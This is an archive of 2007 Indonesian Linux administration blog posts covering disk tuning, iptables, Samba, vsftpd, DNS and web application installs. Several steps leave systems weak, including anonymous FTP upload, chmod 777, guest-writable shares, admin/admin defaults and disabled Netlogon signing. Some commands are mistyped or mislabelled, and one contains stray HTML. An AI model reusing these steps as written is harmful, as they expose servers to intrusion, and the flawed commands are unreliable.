Meningkatkan kinerja HDD IDE dengan 'hdparm'

2007-07-10T10:16:00.000+07:00

Peningkatan performa menjadi sangatlah penting pada sejumlah besar operasi input/output, dengan cara men-set driver HDD IDE untuk "sedikit memaksa" menggunakan DMA (Direct Memory Access), transfer file 32 bit dan mode 'multiple sectors'.

Untuk mengaktifkan I/O 32 bit pada 'bus' PCI, maka perintah yang digunakan adalah:
root# hdparm -c 1 /dev/hda
Perintah ini tergantung dari model HDD juga, tapi biasanya ini akan memperpendek timing dari pembacaan buffer HDD. Pada perintah 'man hdparm ' disebutkan bahwa untuk keadaan tertentu kita bisa menggunakan parameter '-c 3' dan hal ini tergantung pada jenis chipset yang digunakan HDD.

Untuk mengaktifkan DMA, maka perintah yang digunakan adalah:
root# hdparm -d 1 /dev/hda
Perintah ini juga tergantung dari jenis MoBo yang kita gunakan. Dan masalah yang gak kalah pentingnya apakah kernel sudah di compile untuk menerima akses dengan meningkatkan performa HDD dengan cara memperpendek timing pembacaan buffer HDD...?

Untuk mengaktifkan 'multiword DMA mode 2 transfers' dan untuk mengatur mode transfer dari HDD IDE/ATA2, maka perintah yang digunakan adalah:
root# hdparm -d 1 -X34 /dev/hda

Untuk mengaktifkan 'UltraDMA mode 2 transfers', gunakan perintah ini:
root# hdparm -c 1 -X 66 /dev/hda
Kita memerlukan chipset untuk UltraDMA sebelum melakukan perintah ini.

Untuk mengatur 'multiple sector mode I/O', gunakan perintah ini:
root# hdparm -m XX /dev/hda
Catatan: 'XX' disini adalah nilai maksimum yang dapat didukung oleh HDD. Untuk mengetahui nilai 'XX' yang dapat didukung oleh HDD maka gunakan flag '-i' dan carilah nilai dari keluaran 'MaxMultSect'. Contoh:

root# hdparm -i /dev/hda
Model=ST340014A, FwRev=8.54, SerialNo=3JVCMZH3
Config={ HardSect NotMFM HdSw>15uSec Fixed DTR>10Mbs RotSpdTol>.5% }
RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=4
BuffType=unknown, BuffSize=2048kB, MaxMultSect=16, MultSect=16
CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=78165360
IORDY=on/off, tPIO={min:240,w/IORDY:120}, tDMA={min:120,rec:120}
PIO modes: pio0 pio1 pio2 pio3 pio4
DMA modes: mdma0 mdma1 mdma2
UDMA modes: udma0 udma1 udma2 udma3 udma4 *udma5
AdvancedPM=no WriteCache=enabled
Drive conforms to: ATA/ATAPI-6 T13 1410D revision 2:

* signifies the current active mode

Tips & trik

Script sederhana untuk mem-blok port TCP/UDP

2007-07-05T10:52:00.000+07:00

Salam opensource...!

Dengan script sederhana ini kita dapat mem-blok port-port TCP/UDP yang tidak kita inginkan di sistem kita. Tanpa harus bersusah payah memberikan perintah iptables satu persatu dalam console mode. Here we go dude..! Ikuti perintah-perintah ini di root console:

root# vi xport.sh

clear
printf "Copyright by cybercolombuzz\n"
printf "\n\n"
printf "Pilih device ethernet [eth0/eth1]="
read eth
printf "Port yang akan diblok="
read port

#dport
iptables -t filter -A INPUT -i $eth -p tcp -m multiport --dports $port -j DROP
iptables -t filter -A FORWARD -i $eth -p tcp -m multiport --dports $port -j DROP
iptables -t filter -A INPUT -i $eth -p udp -m multiport --dports $port -j DROP
iptables -t filter -A FORWARD -i $eth -p udp -m multiport --dports $port -j DROP

#sport
iptables -t filter -A INPUT -i $eth -p tcp -m multiport --sport $port -j DROP
iptables -t filter -A FORWARD -i $eth -p tcp -m multiport --sport $port -j DROP
iptables -t filter -A INPUT -i $eth -p udp -m multiport --sport $port -j DROP
iptables -t filter -A FORWARD -i $eth -p udp -m multiport --sport $port -j DROP

clear
iptables -nvL | grep $port
echo "\n\nPort $port di $eth Berhasil di blok"
echo "Terima kasih telah menggunakan program ini."

Simpan dan keluar dari aplikasi vi. Lalu langkah selanjutnya adalah memberikan hak akses pada file yang sudah dibuat ini.
root# chmod 755 xport.sh

Jalankan file ini dengan perintah.
root# ./xport.sh

Selamat mencoba...

Mencegah Denial of Service dengan konfigurasi sederhana

2007-07-05T09:32:00.000+07:00

Cegah sistem untuk merespon ping request
Mencegah ping request dapat meningkatkan sekuriti pada jaringan, karena protokol TCP/IP mempunyai kelemahan yang memungkinkan seseorang secara sembunyi2 mengirimkan data ke dalam paket2 yang keluar masuk sistem. Lakukan perintah ini pada console:

root# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

Cegah sistem untuk merespon broadcast request
Ini sama pentingnya untuk menonaktifkan broadcast request. Ketika paket dikirimkan ke alamat IP broadcast dari suatu mesin di dalam jaringan, maka paket tersebut akan menjangkau semua mesin di dalam network, dan mesin di network akan merespon paket tersebut yang dampaknya akan menimbulkan network congestion yang sangat hebat atau yang lebih dikenal dengan Denial of Service (DoS) attack. Lakukan perintah ini pada console:

root# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcast

Mengaktifkan TCP SYN Cookie Protection
SYN attack adalah salah satu tipe serangan DoS yang akan menghabiskan resource kompi. Serangan ini dapat secara mudah dilakukan dari sumber daya yang ada di dalam jaringan ataupun dari luar seperti internet. Lakukan perintah ini pada console:

root# echo 1 > /proc/sys/net/ipv4/tcp_syncookies

Mengaktifkan IP spoofing protection
Option ini akan mencegah komunikasi di dalam jaringan bila terkena spoofing. Spoofing sering digunakan dalam serangan DoS. Lakukan perintah ini pada console:

root# for f in /proc/sys/net/ipv4/conf/*/rp_filter; do [enter]
> echo 1 > $f [enter]
>done [enter]

Mengaktifkan logs untuk Spoofed Packets, Source Routed Packets dan Redirect Packets
Option ini akan me-log semua paket yang di spoof, paket2 sumber yang di route dan paket yang di-redirect. Lakukan perintah ini pada console:

root# for f in /proc/sys/net/ipv4/conf/*/log_martians; do [enter]
> echo 1 > $f [enter]
> done [enter]

Setelah melakukan sejumlah baris perintah tadi jangan lupa untuk merestart network untuk mendapatkan efek dari konfigurasi perintah diatas. Lakukan perintah:
root# /etc/init.d/network restart

Selamat mencoba, semoga bermanfaat.

Tips & trik Linux

Membangun NAS Server menggunakan Samba

2007-07-02T16:09:00.000+07:00

Salam opensource...
Artikel samba yang kedua di blog ini klo gak salah.
Masalah yang cukup merepotkan dalam dunia penyimpanan data adalah bertambahnya jumlah data tanpa mempedulikan kapasitas media penyimpanan. Dalam satu drive kadang tersimpan musik, photo, dokumen, backup data, ISO image, sistem operasi pula... Gimana caranya membuatnya menjadi simple, men-share dan menyimpannya dalam one spot.

Sebenarnya ada salah satu cara yang tergolong sederhana dengan membuat NAS (Network Attached Storage) device, yang memungkinkan sistem operasi me-mount dan menulis melewati media jaringan. Dengan menggunakan Samba kita dapat membuat share storage yang dapat dibaca oleh Mac OS X, Linux dan Windows. Dengan kapasitas media penyimpanan yang kecil memungkinkan untuk men-setup 1-2 TB disk array Samba storage pool.

Langkah ke-1:
Membuat user account untuk samba.
root# useradd fileserver901
root#passwd fileserver901

Langkah ke-2:
Membuat folder sharing.
root# mkdir /sharepoint

Langkah ke-3:
Hak akses owner pada file.
root# chown -R fileserver901:fileserver901 /sharepoint

Langkah ke-4:
Cek samba install.
root# rpm -qa | grep samba
apabila belum terinstall maka install dengan perintah yum.
root# yum install samba

Langkah ke-5:
Buat backup konfigurasi samba.
root# cp /etc/samba/smb.conf /etc/samba/smb.conf.original

Langkah ke-6:
Edit file /etc/samba/samba.conf . Hapus seluruh isi filenya dan copy paste konfigurasi berikut.

[global]
workgroup = home
netbios name = fedora
security = share
hosts allow = 192.168.0.0/24
[share]
comment = Home File Server
path = /sharepoint
force user = fileserver901
force group = fileserver901
guest ok = yes
read only = no

Langkah ke-7:
Test syntax dari konfigurasi smb.conf
root#testparm /etc/samba/smb.conf

Ketika muncul pesan "Loaded services file OK."
Konfigurasi samba siap digunakan. Sekarang jalankan service samba dengan perintah:
root# chkconfig smb on atau root# service smb start

Untuk melihat hasilnya, kita bisa menggunakan perintah smb://[ip_server]/share atau \\[ip_server]\share

PENJELASAN:

[global] (signifies security parameters)
workgroup = home (names a windows workgroup name)
netbios name = fedora (our netbios name)
security = share (takes on permissions from the share, which we set earlier)
hosts allow = 192.168.0.0/24 (only allows this subnet to connect i.e. 192.168.0.1192.168.0.254)

[share] (Signifies the name of our share when mounted. You can change to anything you like.)
comment = Home File Server (creates share point comments)
path = /sharepoint (The full path the volume you want to share. Note if you want to share more than one volume, copy the “share” section and alter accordingly.)
force user = fileserver901 (forces all users of this mount to become this user and obtain access to whatever this user has access to)
force group = fileserver901 (forces all users of this mount to become this group and obtain access to whatever this group has access to)
guest ok = yes (allows anonymous accounts to access, which is how we can connect without a password)
read only = no (allows us to write to the volume. If you set this to yes, you could make this an anonymous “read” only volume)

sumber: RedHat Magazine

Konfigurasi VSFTPd server di Open SuSe 10

2007-06-04T09:41:00.000+07:00

Salam opensource...! VSFTPd merupakan salah satu aplikasi atau daemon server FTP. Konfigurasinya juga relatif mudah, dan yang penting konon kabarnya :D VSFTPd adalah server FTP yang paling aman. Aman dari sisi mana? Tauk juga tuh...

Untuk dapat menjalankan server FTP dengan VSFTPd konfigurasinya diletakkan di /etc/vsftpd.conf

Berikut ini sekilas penjelasan tentang konfigurasinya:

Untuk memperbolehkan guest mengakses file di server FTP.
Anonymous_enable = YES

Untuk mengaktifkan supaya user yang login langsung tertuju pada home direktorinya masing-masing.
Local_enable = YES

Hak akses yang diberikan pada user local.
Local_umask = 022

Agar user anonymous diberi hak upload data.
Anon_upload_enable = YES

Agar user anonymous bisa membuat direktory.
Anon_mkdir_write_enable = YES

Mengaktifkan pesan direktori.
Dirmessage_enable = YES

Mengaktifkan log saat melakukan down/up loading.
Xferlog_enable = YES

Mengaktifkan port transfer.
Connect_from_port_20 = YES

Menentukan user yang dapat meng-upload file.
Chown_uploads = YES
Chown_username =

Nama dan direktori file log yang disimpan.
Xferlog_file = /var/log/vsftpd.log

Mengaktifkan file log standar.
Xferlog_std_format = YES

Lama waktu koneksi yang diberikan kepada user saat tidak down/up load.
Idle_session_timeout = 600

Lama waktu yang diberikan untuk down/up load data.
Data_connection_timeout =

Menentukan user yang tidak bisa mengakses FTP.
Nopriv_user =

Banner FTP saat login.
ftpd_banner = Selamat datang Bro...!

Save konfigurasi tadi dan keluar dari text editor. Untuk menjalankan daemon VSFTPd kita harus mengaktifkannya terlebih dahulu dengan perintah:
root# chkconfig vsftpd on
root# chkconfig xinetd on
root# /etc/init.d/xinetd restart

Buat group untuk ftp-account:
root# groupadd ftp-account

Buat home direktori buat ftp-account:
root# mkdir /home/ftp-account/

Ubah hak akses direktori ftp-account:
root# chmod 750 /home/ftp-account

Ubah kepemilikan direktori ftp-account:
root# chown root.ftp-account /home/ftp-account

Buat user untuk akses FTP:
root# useradd -g ftp-account -d /home/ftp-account dadhee

Buat password untuk user dadhee:
root# passwd dadhee
new password:
reenter new password:

Restart xinetd:
root# /etc/init.d/xinetd restart

Dengan begitu server FTP kita sudah siap digunakan. Cek melalui kompi client dengan command prompt atau FTP client.
Misal dengan MS DOS:
C:/> ftp
ftp> o [ip_address_FTP_Server]

atau

C:/> ftp [ip_address_FTP_Server]

Selamat mencoba...!

Setting Gateway sederhana dengan iptables

2007-05-30T09:08:00.000+07:00

Bisa dibilang syarat utama menjadi seorang network admin minimal bisa membuat settingan gateway di jaringannya. Melalui beberapa tahapan gw nemuin settingan gateway yang sederhana tapi handal.

Disini gw pake:
Sistem operasi Linux Open SuSe 10.2 (sebernernya sih distro ini gak stabil klo di jadiin gateway).
ethernet (out), eth0 ipaddress-nya DHCP dari ISP dan
ethernet (in/local), eth1 ipaddress-nya 192.168.0.254.

Setelah mengeset nama-nama domain dan gateway sesuai dengan ISP yang kita gunakan. Kita tinggal membuat sedikit script iptables, untuk bagaimana caranya client-client di bawah gateway bisa konek ke internet, minimal bisa ngeping ke ipaddrs luar (eth0).
Gini nih... Pertama buat file dengan nama sembarang dan simpan di direktori yang gampang diingat. Dan ini file itu sebagai berikut: (catatan: INGAT! tanda kres (#) adalah tempat buat memasukan komentar).

# ROUTING
# Script dibawah ini adalah script untuk routing agar komputer client bisa melakukan koneksi ke internet.
iptables -t nat -A POSTROUTING -s 192.168.0.254/24 -d ! 192.168.0.254 -j MASQUERADE

# DROP
# Script dibawah ini adalah barisan script untuk menutup semua port INPUT, FORWARD dan OUTPUT.
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP

# FILTER
# Script dibawah ini hampir sama seperti script yang sebelumnya, akan tetapi digunakan untuk menyeleksi port-port komputer kita yang diijinkan.
# port 22, adalah port ssh.
# port 80, adalah port http
# port 139, adalah port samba
iptables -A INPUT -p TCP --dport 22 -j ACCEPT
iptables -A INPUT -p TCP --dport 80 -j ACCEPT
iptables -A INPUT -p TCP --dport 139 -j ACCEPT
# iptables -A INPUT -p TCP --dport xx -j ACCEPT

iptables -A FORWARD -i eth1 -p ALL -s 192.168.0.254/24 -j ACCEPT

# NGEBUT
# Sebenernya istilah ngebut gw pinjem dari seorang teman. Fungsinya agar koneksi internet dari client tidak lama tertahan pada firewall.
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
# End of file, jangan lupa di save

Langkah terakhir adalah men-save file yang baru saja dibuat, misal nama file-nya 'gateway'. Atur hak akses file tersebut agar bisa di eksekusi dengan perintah chmod.
Lalu simpan settingan tadi dengan perintah:
root# ./gateway save

Semoga bermanfaat, kalau ada tambahan silahkan beri komentar...

Menghitung operasi matematika menggunakan bash console

2007-05-28T09:33:00.000+07:00

Ternyata banyak juga pengguna linux terutama yang sering memakai console, gw tanya soal perhitungan matematika di bash console gak ada yang bisa jawab. Ternyata hal-hal kecil sering kali membuat kita kerepotan. Apa pentingnya? Ya penting lah... Gitu aja kok gak tau. Hehehe...
Ini sekedar mengingatkan karena pada hakekatnya manusia adalah tempat salah dan lupa. Mulai aja ke inti permasalahan.

Misalnya kita mulai dengan penjumlahan anak teka yang paling guampaaang. Tanya deh sama linuxer yang fanatik console, satu ditambah satu berapa? Tapi menghitungnya harus menggunakan console. Jawabannya:

# echo '1+1' | bc
2

Contoh pengurangan:
# echo '123456-7890' | bc
115566

Contoh perkalian:
# echo '12345679*36' | bc
444444444

Contoh pembagian:
# echo '24/2' | bc
12

Cuma untuk operasi matematika pembagian ada hal yang merepotkan. Gini nih... coba deh lakukan pembagian 34:3, pasti bash linux ngasi jawaban 11, sedangkan 11*3=33...??!
Berarti operasi matematika di bash linux salah besar dong? Jangan khawatir, semua masalah pasti ada jalan keluarnya... Seperti perkataan Asep Sunandar Sunarya, dalang wayang golek yang terkenal, "Gitu aja kok cepot..." Sebenarnya masalah yang merepotkan disini adalah bagaimana caranya melakukan perhitungan dengan pemisah koma...? Mungkin kita butuh 2 angka di belakang koma untuk melakukan perhitungan yang tadi.

# echo 'scale=2; 34/3' | bc
11,33

Nah, ini baru bener... Klo hasilnya pengen 5 angka di belakang koma?

# echo 'scale=5; 34/3' | bc
11,33333

Kelihatannya sederhana tutorial ini. Tapi sebelum melakukannya coba tanya kepada pengguna linux sekitar, gimana caranya melakukan operasi matematika dengan menggunakan bash console? Gw yakin sedikit sekali yang bisa jawab, karena apa? Karena kita sering mengabaikan hal-hal yang terkesan sepele.
Selamat mencoba.

Explore file jarak jauh dengan phpExplorator

2007-03-13T13:52:00.000+07:00

Gw tertarik mem-publish artikel ini karena aplikasi ini tergolong sederhana dengan fungsi yang sederhana dan cara meng-installnya yang sederhana tapi cara dia 'bekerja' yang rada unik (dengan script php).

phpExplorator adalah salah satu aplikasi remote explore yang berjalan 'under web browser' (Mozilla, Concueror, Netscape dll). Sebenernya tugasnya mirip2 Windows Explorer di windows. Fungsi dari aplikasi ini adalah dapat me-manage, meng-edit, membuat, meng-copy, me-rename, download, upload file... Atau bahkan membuat file kompresi dan meng-ekstraknya. Aplikasi ini cocok untuk sysAdmin yang selalu melakukan aktiitas remote-me-remote, dengan syarat system tersebut sudah terinstall aplikasi buat webserver.

Download
# wget http://downloads.sourceforge.net/phpexplorator/ phpexplorator_2_0.tar.bz2

Cara installasinya sangat mudah. Ekstrak paket yang telah di-download tadi ke direktori tempat menyimpan aplikasi web. Klo gw pake XAMPP yang diinstall di direktori /opt, maka file tadi gw ekstrak di direktori /opt/lampp/htdocs/

Ekstrak
# tar xfvj phpexplorator_2_0.tar.bz2 -C /opt/lampp/htdocs/

Post Install
Buka browser web, ketikan alamat http://[ip_webserver]/phpexplorator_2_0/

Yah... setidaknya kita bisa liat file-file apa aja di server kita yang "jauh" tanpa harus masuk ke console atau menggunakan ftp (yang terkadang membosankan) :D.

Screenshot

-->>klik disini<<--

Membuat konfigurasi DNS menggunakan MyDNSConfig

2007-03-08T10:23:00.000+07:00

Salam OpenSource..!
Langsung aja deh, gini... Ini ada tool namanya MyDNSConfig. Sesuai dengan namanya, maka tool ini dapat mengatasi kecenderungan hidup masyarakat Indonesia yang dituntut serba cepat. Tool ini dapat dengan mudah mengenerate masukan via web browser dan menjadikannya konfigurasi DNS. Intinya sih buat DNS dengan mudah tanpa harus capek ngetik di konsole.
Untuk mendapatkannya mudah, lagi-lagi dengan wget (command favorite, hehehe):

Download
Masuk dulu ke direktori tempat nyimpen master program ente. Baru download. Misal gw nyimpennya di /root/dadhee/master/ .
# wget http://downloads.sourceforge.net/ mydnsconfig/ MyDNSConfig-1.1.0.tar.gz
Pada saat gw ngetik artikel ini versi terbarunya adalah 1.1.0

Cara Installasi
Sebelumnya system sudah terpasang webserver apache, sql, dan php dengan aplikasi XAMPP di /opt/lampp (artikelnya dah gw posting tuh tentang XAMPP).

Login ke MySQL dan buat database MyDNSConfig
# mysql -u root -p

CREATE DATABASE mydns;
GRANT SELECT, INSERT, UPDATE, DELETE ON mydns.* TO
'mydns'@'localhost' IDENTIFIED BY 'mydnspassword';
GRANT SELECT, INSERT, UPDATE, DELETE ON mydns.* TO
'mydns'@'localhost.localdomain' IDENTIFIED BY 'mydnspassword';
FLUSH PRIVILEGES;
quit;

Post Download
Masuk ke direktori download tadi di /root/dadhee/master/ . Ekstrak dengan perintah:
# tar xfvz MyDNSConfig-1.1.0.tar.gz
# cd mydnsconfig-1.1.0

Install MyDNSConfig-1.1.0
Sebaiknya diinstall-nya di direktori /usr/share/ . Buat direktori disana.
# mkdir /usr/share/mydnsconfig
Terus salin file aplikasi yang udah diekstrak tadi (/root/dadhee/master/)
# cp -rf interface/* /usr/share/mydnsconfig

Install database MyDNSConfig
# mysql -u root -p mydns < style="font-weight: bold;">Setting ulang file konfigurasi MyDNSConfig
# vi /usr/share/mydnsconfig/lib/config/inc/php
Perhatikan target dari path-path yang dibutuhkan untuk mendukung aplikasi ini berjalan dan pastikan ente masukin database yang benar.
Kalau mau membuat reverse DNS record (PTR records) secara otomatis ketika membuat DNS record yang baru, maka set:
$conf('auto_create_ptr'] ke 1 dan name server di $conf['default_ns'].

Edit konfigurasi seperlunya.
# vi /etc/mydns.conf

Jalankan aplikasi
Ini bagian yang ditunggu-tunggu... Biar senengnya lengkap, coba buat dulu secangkir capucinno anget. Hehehe... sruuupppt... aaahhh... Terus buka browser web kesayangan, ketikin http://[ip_addrs_local]/mydnsconfig/

Maka akan tampil halaman LOGIN
Username: admin
Password: admin

Now have fun bro..! Selamat tinggal konsole.
What a troublesome...!

System Monitoring Sederhana dengan Conky

2007-03-07T16:42:00.000+07:00

Conky adalah salah satu paket monitoring system sederhana tapi cukup bisa diperhitungkan bagi SysAdmin. Aplikasi ini mampu mengecek system mulai dari aplikasi yang sedang berjalan, quota disk, memory, atau bahkan temperatur mobo dan CPU. Aplikasi ini berjalan di desktop dan nyaris berfungsi sebagai "system dashboard" dengan segala kesederhanaannya.

Untuk download paket ini ketikan
# wget http://downloads.sourceforge.net/ conky/ conky-1.4.5.tar.gz

Ekstrak paket tersebut ke direktori /usr/local/
# tar xfvz conky-1.4.5.tar.gz -C /usr/local/

Time to compile !!
# ./configure
# make
# make install

Menjalankan program
Masuk ke direktori /usr/local/bin/ kemudian eksekusi file conky
# ./conky

Lalu aplikasi ini akan ditampilkan di desktop.

ScreenShot Conky

Installasi Webmin di SuSe 10

2007-02-26T11:30:00.000+07:00

Webmin adalah salah satu aplikasi untuk mengatur manajemen system via web. Aplikasi webmin sebenarnya telah lama dipakai pada distro Mandrake.

Prasyarat menginstall webmin
Sudah memiliki account sebagai root. Diikuti dengan mengginstall XAMPP supaya lebih mudah untuk tahap2 selanjutnya. Artikel tentang XAMPP bisa dilihat di http://dadhee.blogspot.com/2007/02/migrasi-dari-php-triad-ke-xampp.html .

Download paket webmin
# wget http://prdownloads.sourceforge.net/webadmin/webmin-1.320.tar.gz

Ekstrak paket webmin
Disarankan agar ekstrak paket di direktori /usr/local/ atau di /use/share/
# tar xfvz webmin-1.320.tar.gz -C /usr/local/

Install webmin
Masuk ke direktori webmin diekstrak tadi
# cd /usr/local
Jalankan setup program dengan cara:
# ./setup.sh
Lalu ikuti langkah-langkah selanjutnya.

Memulai konfigurasi webmin
Setelah langkah diatas buka web browser ketikan http://localhost:10000/
Dimana port 10000 adalah port default buat webmin.

Membuat server blog Wordpress pada jaringan komputer lokal

2007-02-26T10:50:00.000+07:00

Pasti bloggers mania pada tau salah satu engine yang mendukung blog bernama Wordpress. Sekarang telah tersedia aplikasi Wordpress yang bisa dijalankan di komputer sendiri. Dalam artikel ini gw pake system linux SuSe 10 buat kelinci percobaannya. Gini nih caranya...

Download Wordpress
Seperti biasanya gw lebih seneng klo pake aplikasi wget, gak tau knapa...
# wget http://wordpress.org/latest.tar.gz

Aktifkan webserver dan phpMyAdmin
Pada kasus ini sudah diterangkan cara installasi XAMPP di artikel sebelumnya. Baca dulu -->> http://dadhee.blogspot.com/2007/02/migrasi-dari-php-triad-ke-xampp.html .

Ekstrak file latest.tar.gz
# tar xfvz latest.tar.gz -C /opt/lampp/htdocs/

Rubah permission file
Agar hasil konfigurasi nanti bisa ditulis, maka rubah permission file dari file ekstrak tadi.
# chmod 777 /opt/lampp/htdocs/wordpress/

Installasi via web browser
Installasi selanjutnya via web browser. Di sini gw pake Mozilla Firefox. Ketikan http://localhost/wordpress.

Kemudian akan disambut oleh text “There doesn’t seem to be a wp-config.php file. I need this before we can get started. Need more help? We got it. You can create a wp-config.php file through a web interface, but this doesn’t work for all server setups. The safest way is to manually create the file.” Lalu silahkan meng-klik create a wp-config.php file through a web interface untuk melanjutkan.
Kemudian kita akan dihadapkan dengan aturan main dalam installasi wordpress, kalau ente setuju dengan semua itu maka berikutnya adalah klik let’s go! untuk melanjutkan tahap installasi.

Buat database
Buka http://localhost/phpMyAdmin . Buat database dengan nama (terserah) wordpress.

Lanjutkan tahap Installasi via web browser
Isi form yang disuguhkan disana, diantaranya adalah : Database Name, sesuai dengan database yang telah dibuat sebelumnya, yaitu wordpress. User Name, user name mysql (username defaultnya adalah root). Password, masukan password mysql dari user root. Database Host, untuk database host local, ente masukin aja localhost (klo meng-installnya di system lokal). Table Prefix, (abaikan aja) kalau sudah klik Submit.

Kalau sudah yakin dengan apa yang telah kita ketikan tadi maka kita akan diberi pesan: “All right sparky! You’ve made it through this part of the installation. WordPress can now communicate with your database. If you are ready, time now to run the install! “. Klik untuk melanjutkan proses installasi berikutnya.

Klik First Step » untuk lanjut. maka kita akan dihadapkan kembali dengan form isian untuk mengisi form: Weblog title, title yang akan ditampilkan di blog. Your e-mail, alamat e-mail pengguna. Kalau formnya sudah di isi semua dengan benar maka klik Continue to Second Step >> Installasi sudah selesai dan wordpress hasil install akan menampilkan User name, Password, Login address. Password biasanya di beri secara otomatis dan bisa diubah kalau ente-ente pade dah masuk ke halaman adminstrator.

Buat login admin ada di link: http://localhost/wordpress/wp-admin/
Tahap selanjutnya tergantung pada kreatifitas dan imajinasi ente-ente dalam membuat sebuah blog.

Konfigurasi SAMBA sebagai PDC

2007-02-22T11:26:00.000+07:00

Berikut adalah cara mengkonfigurasi samba agar dapat digunakan sebagai Domain Controller.

##Configurasi file smb.conf sesuai dengan konfigurasi di akhir artikel ini.##

Buat group seperti dibawah ini:
# groupadd admins
# groupadd machines

Buat direktori samba seperti berikut ini:
# mkdir -m 0775 /home/netlogon

Direktori ini adalah tempat dimana login script disimpan.
#chown root.admins/home/netlogon
# mkdir /home/samba /home/samba/profiles
# chown 1757 /home/samba/profiles

Buat user untuk PC yang akan joint pada Domain Controller :
[root@dadhee root]# /usr/sbin/useradd -g machines -d /dev/null -s /bin/false -c "Keterangan PC" nama_pc\$
adalah perintah untuk mendaftarkan nama mesin yang akan joint pada domain controller.

Berikan password pada user_nama_pc yang baru saja dibuat:
# passwd -l machine_name$
; Changing password for user machine_name$
; Locking password for user machine_name$

Buat user samba berikut passwd untuk PC yang sudah dibuat sebelumnya:
# smbpasswd -a -m machine_name
; Added user machine_name$

Buat user yang akan mengakses Domain Controller:
# useradd dhee
# passwd dhee
; New password:
; Retype new password:
; passwd: all authentication tokens updated successfully

Buat user samba yang akan mengakses Domain Controller:
# smbpasswd -a dhee
; New SMB password:
; Retype new SMB password:
; Added user dhee.

Selanjutnya service samba di-restart dengan perintah

# /etc/rc.d/init.d/smb restart
atau dengan perintah yang lebih sederhana yaitu dengan perintah
# service smb restart

Apabila akan dibuat client dengan sistem operasi Windows XP/2k. Ganti registry pada PC XP/2k sebagai berikut.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
requiresignorseal --> 0
signsecurechannel --> 0

Membuat Polis Sistem User

Prosedur pembuatan polis sistem user pada client Windows 9x, sebagai berikut :

Klik tombol Start > Run, lalu ketik poledit dan OK.
Klik menu File > New Policy sehingga muncul kotak dialog System Policy Editor beserta isinya.
Klik menu Edit > Add User sehingga tampil kotak dialog Add User.
Klik tombol browse, pilih user-nya, misal dhee, klik Add lalu klik OK. Maka sekarang akan tampil icon user dhee.
Klik ganda icon dhee, tampil kotak dialog dhee properties.
Pada kotak dialog inilah akan didapatkan setting pembatasan user.
1. Klik tanda + dari Control Panel, klik display lalu klik kotak cek Restrict Display, maka pada kotak di bawahnya akan tampil daftar cek tampilan Settings for Restrict Display.
2. Klik kotak cek dari Hidden Setting Tab.
3. Klik tanda + dari Shell lalu Restriction, kemudian klik kotak cek Remove Run Command from start menu dan Remove folders from setting on start menu.
Setelah selesai klik OK kembali ke kotak dialog utama System Policy Editor.
Untuk menyimpan file yang telah di-setting, klik menu File > Save sehingga tampil kotak dialog Save As. Disimpan pada direktori server di /home/netlogon dengan nama file config.pol, lalu klik Save.

Membuat Polis Sistem Group

Selain pada user yang dapat diganti kewenangan sistemnya, pengguna bisa memakai polis pada sistem untuk domain/global group. Proses pembuatan polis sistem group sebagai berikut:

Klik tombol Start > Run, lalu ketik poledit pada komputer client.
Klik Edit > Add Group, muncul kotak dialog Add Group, klik tombol browse.
Lalu akan tampil kotak dialog Add Groups, sorot groupnya, klik tombol Add lalu klik OK. Maka akan tampil group tersebut pada kotak dialog System Policy Editor.
Klik ganda icon groupnya, tampil kotak dialog Sales Properties. Setting sesuai dengan keinginan.
Hasil selalu disimpan pada komputer server pada direktori /home/netlogon dengan nama file config.pol.

Membuat Polis Sistem Komputer

Selain berdasarkan nama user dan group, pengguna juga bisa membuat polis sistem berdasarkan nama workstation.

Proses pembuatan polis sistem berdasarkan nama workstation:

Klik tombol Start > Run, lalu ketik poledit pada komputer client.
Maka akan muncul kotak dialog System Policy Editor, klik menu Edit > Add Computer.
Tampil kotak isian untuk nama komputernya, ketik nama komputer workstation (misal: isikan WS1) lalu OK.
Klik ganda icon komputer tersebut, tampil kotak dialog WS1 Properties. Setting polis-nya, misal pengguna ingin memberikan pesan pada logon banner ketika user akan logon pada workstation tersebut, maka klik Windows NT System kemudian klik logon dan klik kotak cek Logon Banner. Pada kotak caption ketik judulnya dan pada kotak text ketik pesannya.
Klik OK lalu klik File dan Exit yang dilanjutkan dengan klik Yes untuk menyimpan hasil setting dan keluar dari utility tersebut.

Polis Sistem Windows 95/ 98

Untuk polis sistem Windows 95/ 98, harus dibuat melalui utility poledit yang ada dalam sistem operasi windows 95/ 98. Jika belum ada utility poledit-nya, pengguna dapat menginstallnya dari CD windows atau CD Resource Kit-nya yang berada pada folder poledit.

Untuk windows 95/ 98, buat dahulu polisnya pada salah satu komputer Windows klien, yang hasilnya berupa file config.pol, duplikasikan-kan file tersebut ke direktori Samba server pada lokasi /home/netlogon.

Membuat login Script

Login script pada umumnya digunakan klien windows untuk memanfaatkan sumber daya dari server, berupa sharing file. Akan tetapi tak menutup kemungkinan apabila ditujukan untuk maksud yang lain. Untuk membuat login script lebih baik dibuat dalam teks editor di komputer klien, baik itu notepad pada Windows atau edit file pada DOS.

Misalkan pengguna akan me-mapping direktori /home diikuti nama user yang login pada drive X: , maka perintahnya adalah:

NET USE X: \\[nama server]\[nama user yang login]

Kemudian simpan file tersebut di dalam direktori /home/netlogon di server dengan nama file sesuai dengan nama user masing-masing yang telah terdaftar di server. Misalnya nama user-nya dadhi maka nama filenya dadhi.bat, apabila nama user-nya labnet, maka nama file yang disimpannya labnet.bat.

Konfigurasi /etc/samba/smb.conf
# Samba config file created using SWAT

# Samba config file created using SWAT

# from localhost (127.0.0.1)

# Date: 2004/02/29 14:03:57

# Global parameters

[global]

workgroup = CYBERCOLOMBUZZ

netbios name = MDK92

server string = Samba PDC running %v

encrypt passwords = Yes

passwd program = /usr/bin/passwd %u

passwd chat = *New*UNIX*password* %n\n *Retype*new*UNIX*password* %n\n

unix password sync = Yes

log level = 2

log file = /var/log/samba/log.%m

max log size = 50

logon script = %U.bat

logon path = \\%L\profiles\%a\%U

logon drive = N:

logon home = \\%L\%U\Win-profile

domain logons = Yes

os level = 65

preferred master = Yes

domain master = Yes

wins support = Yes

hosts allow = 192.168.0.

[homes]

